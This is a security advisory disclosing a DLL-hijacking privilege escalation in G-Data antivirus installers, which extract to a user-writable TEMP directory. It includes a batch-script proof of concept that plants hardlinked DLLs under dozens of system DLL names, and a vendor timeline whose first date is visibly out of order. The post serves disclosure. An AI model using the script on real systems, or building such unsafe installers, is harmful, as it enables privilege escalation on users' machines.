G-Data DLL Hijacking
Posted on 20 April 2016
Hi @ll, the executable installers of G-Data's "security" products for Windows, available from <https://www.gdata.de/downloads>, allow escalation of privilege! The downloadable executables are self-extractors containing the real executable installer as resource: they create the subdirectory %TEMP%{guidguid-guid-guid-guid-guidguidguid} using another resource containing the hardcoded value of this GUID, extract the real executable installer into it and finally start it. The permissions of this subdirectory allow "full access" for the unprivileged user who started the self-extractor, enabling him to create arbitrary files in this subdirectory. The real installer loads multiple Windows system DLLs from this subdirectory instead of Windows' "system directory" %SystemRoot%System32 and executes them with elevated rights. On Windows 7: dbghelp.dll, dnsapi.dll, oleacc.dll, netapi32.dll, netutils.dll, srvcli.dll, wkscli.dll, version.dll, uxtheme.dll/dwmapi.dll, cryptsp.dll, ncrypt.dll, bcrypt.dll, profapi.dll, msimg32.dll, riched32.dll, iphlpapi.dll, winnsi.dll, rasapi32.dll, rasman.dll, rtutils.dll, sensapi.dll, rasadhlp.dll, ntmarta.dll, ntshrui.dll, cscapi.dll, slc.dll, windowscodecs.dll, apphelp.dll, mpr.dll, userenv.dll, schannel.dll, credssp.dll, secur32.dll, gpapi.dll, samcli.dll See <https://cwe.mitre.org/data/definitions/379.html> for the well- known and well-documented unsafe TEMP directory vulnerability, and <https://cwe.mitre.org/data/definitions/426.html>, <https://cwe.mitre.org/data/definitions/427.html> plus <https://capec.mitre.org/data/definitions/471.html> for the well- known and well-documented unsafe DLL search path vulnerability. Proof of concept/demonstration: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. visit <http://home.arcor.de/skanthak/sentinel.html>, download <http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save it in your "Downloads" directory; 2. download "G DATA ANTIVIRUS" from <https://www.gdata.de/downloads> and save it in your "Downloads" directory (the resulting file is named G_DATA_AntiVirus.exe); 3. create the following file as SENTINEL.CMD in your "Downloads" directory: --- SENTINEL.CMD--- G_DATA_AntiVirus.exe :LOOP If Not Exist "%TEMP%{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}INT_R_BASE_AV.exe" Goto :LOOP For %%! In (dbghelp dnsapi oleacc netapi32 netutils srvcli wkscli version uxtheme dwmapi cryptsp ncrypt bcrypt profapi msimg32 riched32 iphlpapi winnsi rasapi32 rasman rtutils sensapi rasadhlp ntmarta ntshrui cscapi slc windowscodecs apphelp mpr userenv schannel credssp secur32 gpapi samcli) Do MkLink /H "%TEMP%{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\%%!.dll" "%~dpn0.dll" --- EOF --- 4. run the batch script per double-click: it starts the downloaded self-extractor and plants the DLLs for hijacking; 5. notice the message boxes displayed from the DLLs. PWNED! stay tuned Stefan Kanthak PS: I really LOVE (security) software with such trivial beginner's errors. It's a tell-tale sign to better stay away from it! Timeline: ~~~~~~~~~ 2016-06-03 initial report sent to vendor: they provided their real installers for download, allowing DLL hijacking in the users "Downloads" directory 2016-03-06 vendor acknowledges receipt: "At the moment we are exploring the best way to fix it." 2016-04-13 reply from vendor: "We replaced all installers and tools in the download area with secure versions." 2016-04-17 No, these "installers" are NOT secure, they use UNSAFE temp directories and just shift the attack vector a tiny little bit. 2016-04-18 reply from vendor: "We assume that this is pure speculation." 2016-04-18 OUCH! <https://bugzilla.mozilla.org/show_bug.cgi?id=811557>, <https://code.google.com/p/google-security-research/issues/detail?id=440> 2016-04-18 reply from vendor: "the attacker needs access to the system for that." 2016-04-18 report published
